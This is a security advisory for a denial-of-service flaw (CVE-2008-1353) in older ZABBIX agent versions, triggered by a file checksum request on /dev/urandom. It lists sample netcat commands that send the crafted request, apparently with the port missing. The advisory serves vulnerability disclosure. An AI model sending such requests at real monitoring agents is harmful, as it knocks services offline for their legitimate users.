ZABBIX File Checksum Request Denial of Service Vulnerability

Bugtraq ID:	28244
Class:	Failure to Handle Exceptional Conditions
CVE:	CVE-2008-1353
Remote:	Yes
Local:	No
Published:	Mar 13 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	Milen Rangelov is credited with the discovery of this vulnerability.
Vulnerable:	ZABBIX ZABBIX 1.4.3 ZABBIX ZABBIX 1.4.2 ZABBIX ZABBIX 1.1.5 ZABBIX ZABBIX 1.1.4 ZABBIX ZABBIX 1.1.3 ZABBIX ZABBIX 1.1.2
Not Vulnerable:

ZABBIX File Checksum Request Denial of Service Vulnerability

ZABBIX is prone to a denial-of-service vulnerability when handling specially crafted requests for file checksums.

An attacker can exploit this issue to cause the affected application to stop responding, denying service to legitimate users.

ZABBIX File Checksum Request Denial of Service Vulnerability

An attacker can exploit this issue by using readily available network utilities.

The following sample requests are available:

echo "vfs.file.cksum[/dev/urandom]" | nc localhost
echo "vfs.file.cksum[/dev/urandom]" | nc localhost
echo "vfs.file.cksum[/dev/urandom]" | nc localhost

ZABBIX File Checksum Request Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

ZABBIX File Checksum Request Denial of Service Vulnerability

References:

• Zabbix (zabbix_agentd) denial of service (Milen Rangelov )